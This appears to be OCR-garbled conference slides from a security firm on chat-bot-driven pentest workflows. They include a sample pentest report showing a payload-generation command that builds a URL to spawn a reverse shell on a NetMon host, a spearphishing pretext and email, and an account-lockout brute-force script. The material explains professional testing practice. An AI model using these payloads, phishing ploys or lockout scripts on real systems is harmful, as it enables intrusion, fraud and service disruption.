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Radically Open Security Chat

https://chat.radicallyopensecurity.com/group/ros-chatops

E] Most Visited ~ Q Getting Started ROS SugarCRM ROS Mediawiki ROS IRC Archive ROS Redmine

2 melanie ros-chatops ¢

g melanie
FAVORITES § BOSBGEIY
You haven't added any favorites yet. Fagiall rosbot
)‘ ¥ rosbot shellcmd - list (bash)shell commands

CHANNELS + rosbot shellemd <foo> - performs bashshell command
rosbot | need some advice
rosbot adapter - Reply with the adapter
rosbot animate me <query> - The same thing as | image me |, except adds a few parameters to try to return an animated GIF instead.
rosbot echo <text> - Reply back with <text>
DIRECT MESSAGES o rosbot email <user@email.com> -s <subject> -m <message> - Sends email with the <subject> <message> to address <user@email.com>
rosbot eval cancel - cancel recording
Ms.Abstract_007 rosbot eval list - list available languages
Thice rosbot eval me <lang> <code> - evaluate <code> and show the result
rosbot eval off|finish|done - evaluate recorded <code> and show the result
rosbot eval on <lang> - start recording
debbie rosbot geocode me <string> - Geocodes the string and return latitude,longitude
rosbot get directions "<origin>" "<destination>" — Shows directions between these locations
rosbot help - Displays all of the help commands that rosbot knows about.
else.lenselink rosbot help <query> - Displays all help commands that match <query>.
rosbot how do you handle (.*)
rosbot image me <query> - The Original. Queries Google Images for <query> and returns a random top result.
@ johnsinteur rosbot map me <query> - Returns a map view of the area returned by ' query .
rosbot md5|shalshal|sha256|sha512|rmd160 me <string> - Generate hash of <string>
rosbot mustache me <query> - Searches Google Images for the specified query and mustaches it.

You aren't part of any channel yet.
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& GitHub, Inc.

O This repository Pull requests Issues Gist

radicallyopensecurity / templates © Unwatch ~ 21

Branch: master v templates / xml / doc / Report Writing - Procedure.md

% skyanth 6 days ago implemented monospace inline tag

1 contributor

879 lines (650 sloc) 28.2 KB Raw Blame History

Writing a test report

Tools

First of all, make sure you have the right tools installed. Check the tools manual for more info.

Main structure

The report's main element is <pentest_report> . It contains four major parts:

e Document information (metadata), in the element <meta>

e The index, in the element <generate_index>

¢ A variable number of sections (main content), in several <section> elements

e A variable number of appendices (extra content), in one or more <appendix> elements
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& GitHub, Inc

<section id="attack_narrative">
<title>Attack Narrative</title>
<p>We were provided with an overview of the network infrastructure and the running services. In the fol
<img src="../ phics/noc_topology.png" width="10" />

<section id="finding_vulns">
<title>Step 1: Finding the NetMon Vulnerabilities</title>
<p>While conducting discovery against the target systems it was discovered that a NetMon 1.4.2
NetMon is enterprise network monitoring software for physical, virtual, and cloud-based IT infr
<img src="../graphics/netmon_login.png" width="6" />
<p>While reviewing the security of this internet-facing application, we went through the change
In version 1.5, we discovered the following suspicious entry:</p>
<pre>* Cleaned up the 'client/submit' routine</pre>
<p>We discovered a vulnerability in this routine (see <a href="#remote_code_execution" />), whi
The 'client/submit' routine is only accessible to logged-in users, and thus the vulnerability c
<p>To perform this attack in a robust way, we wrote a payload generation script.
This script generates a link containing a malicious payload that, when clicked, will spawn a re
<p>Here is an example of the payload generation script's invocation:</p>
<pre>$ python build_payload.py 192.168.0.13 31337 10.0.5.15:3000 "http://10.0.5.15:3000"

http://10.0.5.15:3000/client/submit/%0Aecho+fOVMRgGEBAQAAAAAAAAAAAATAAWABAAAAVIAECDQAAAAAAAAAAAAAADQATAABAAAAAAAAAAEA<D
<p>The payload can then be triggered as follows:</p>
>[img]payload_url[/img]
&lt;img src="payload_url" /&gt;</pre>
<p>In such a way, generated payloads can be included in an innocent-looking website, wh
And when visited, this website will exploit the NetMon host by attacking the vulnerable

</section>

<section id="spearfishing">
<title>Step 2: Spearphishing the Sitting Duck Support Staff</title>
<p>The targets of our spearphishing campaign were Sitting Duck Support Engineers. For this atta
<p>By tricking one of the Sitting Duck support engineers into navigating to a website under our
<p>Radically Open Security, for the purpose of this pentest, has received an account with Sitti
<img src="../graphics/email_error/screenshot.png" />
<p>In order to get the Sitting Duck Support Engineers to click on our phishing link, we figured
<p>We dreamed up a fictional Dutch museum for modern art for children called 'Kinderen Museum V
We then registered the domain 'kmvnk.bv', and created an IMAP account for a fictional employee,

<p>Here is an English translation of the phishing email:</p>
<pre>Dear Sitting Duck Support,

while we're not actually a formal customer of Sitting Duck, Daan de Boer has donated a website account to us (Kinderen
But we're currently having errors with the email account management. Daan suggested that I shoot an email to support@si
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NetMon recommends to "remove the public access” to disable this behavior, see http://docs.netmon.io/docs/
core/support.

5.1.10 SID-010 — Denial of Service

Vulnerability ID: SID-010
Vulnerability type: Denial of Service
Threat level: Low

Description:

The bruteforce hammering protection of Open Server Watch sets timeouts on a per-username basis. An
attacker could automatically hit the server repeatedly with relevant usernames (e.g. "admin") in order to lock
out those users from logging in.

Technical description:

The following python script repeatedly attempts to login as the admin user:

1/usr/bin/python
import mechanize

ech = mechanize.Browser()
ech.set_handle_equiv(True)
ech.set_handle_redirect(True)
ech.set_handle_referer(True)

users = [('admin', 'password')]
ech.open('https://osw.sittingduck.bv/login.htm')
for u, p in users:
mech.select_form(nr=0)
mech.form['user'] = u
mech.form['pass'] = p
response = mech.submit()
if response.geturl() == 'https://osw.sittingduck.bv/login_success.html':
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Radically Open Security Chat

https://chat.radicallyopensecurity.com/group/pen-eyeopen

@ Most Visited ~ Q Getting Started ROS SugarCRM ROS Mediawiki ROS IRC Archive ROS Redmine

& | ; -
B2 melanie % pen-N ¢ > Q Quick Search

melanie M b i

f empers LIS
FAVORITES rosbot shellemd pdfbuild llPentest .
Showing 4 of 12 users

You haven't added any favorites yet. rosbot

git clone... + Add users
CHANNELS + Cloning into | Pentest.-

Y 't part of any channel yet. ) .
'Ou arent part of any channel ye ) p Johnslnteur (UTC +2)
More channels .. fop -q -c /home/sinteur/fonts/rosfop.conf Report/target/report.fo Report/target -

/report.2015-09-11_23-39-27.pdf o @ melanie (UTC +2)
Default page-height set to: 11.00inDefault page-width set to: 8.50in rosbot (UTC +2)

DIRECT MESSAGES 97
Ms.Abstract_007 git add Report/target/report.2015-09-11_23-39-27.pdf & skyanth (UTC +2)
fatal: pathspec 'Report/target/report.2015-09-11_23-39-27.pdf' did not match any files
Thice

———————————— git commit Report/target/report.2015-09-11_23-39-27.pdf -m automated build by chat
daan [master 20d3521] automated build by chat
1 file changed, 0 insertions(+), 0 deletions(-)

debbie
create mode 100644 Report/target/report.2015-09-11_23-39-27.pdf

.00

clealEnsah: https://gitlabs.radicallyopensecurity.com/root Il entest/blob/master/Report/target
/report.2015-09-11_23-39-27.pdf

frouke

John Sinteur pushed 1 commits to master in [ llfllPentest

@ johnsinteur (https://gitlabs.radicallyopensecurity.com/root/ |l Pentest/compare
@muse /4350deef9...20d35211¢)

20d3521: automated build by chat
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gitlabs.radicallyopensecurity.com

Y GitLab John Sinteur /_
Bt Dashboa master v I/ + & Download zip | ~
& Project Name Last Update Last Commit > 66e0a991 - Merge branch 'master' of ssh:/gitlabs.radicall...History
@  Activity 8 Binaries 15 days ago initial setup
7] Files B Findings 2 days ago
D  Commits 8 Non-Findings 2 days ago
b Network @8 Pics 10 days ago ADD FINDING on error messages
S 8 Report 2 days ago Merge branch 'master' of ssh:/ I N
(0] Milestones
8 Scans 2 days ago i's
o Issues 13
 Source Masago  Adced N o I
= Merge Requests (0]
8 templates 15 days ago templates for reporting
7] Members
~ A OFF-08122015.v.1. -pent... 14 days ago Offerte and system details
Labels
8 e 5] README.md 15 days ago git checkout comment in readme
Bl Snippets B notes_.txt 14 days ago Added nmap results of INGGEGGGGEGGG_
3 systeminfo.txt 11 days ago 2nd advisor
- Settings

[l README.md

Note: git clone command:

git clone ssh//git@gitias GGG
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& GitHub, Ir

33rd CENTR Technical workshop, Bucharest (Romania) | CENTR SIDN : Verouderde software grootste oorzaak van kwetsbaarheden in veel websites radicallyopensecurity/PassiveScanningTool

O This repository Pull requests Issues Gist X +~ A4~

dicallyopensecurity / PassiveScanningTool @Unwatch~ 25 & Star 4  YFork 2

Description

Save or Cancel <> Code

Issues
22 commits 1 branch 0 releases 1 contributor
Pull requests

Q&Y Branch:master~  PassiveScanningTool / + e
E— iki

“ koenj2 Create LICENSE.md Latest commit 3af7457 13 days ago
Pulse

Cve ort for Shodan 28 days a

Properties First commit 3 months Graphs

Results Added archive.org. 13 days
Settings
Scanslo Fixed a small mistake where th: not output correctly. 2mo

Shodan Added support for Shodan 28 days HTTPS clone URL

B FindServiceDescriptor.cs dded the possibility of u Rapid7 scan results. 2 months a https://github.c:

You can clone with HTTPS,

B Host.cs :
SSH, or Subversion. ®

B HostList.cs
I Clone in Desktop

B LICENSE.md
&> Download ZIP

B Makefile First commit. 3 months ago

B Newtonsoft.Json.dll First commit. 3 months a

[E) PassiveScanning.csproj ) d 28 days ago
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EQ () Radically Open Security Chat
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What Else Can We Integrate?

- Scanning + Exploitation:

- Nmap, w3af, sglmap, hydra, etc..
* Reconnaisance:

- Whois, Google, PassiveScan, etc..
» Cryptography

- Hash cracking, etc..

» Other:
- Email/SMS integration, spearphishing

’ Proieh i O’Pal(f‘*j*e@m’fﬂf May 26, 2016




Questions?
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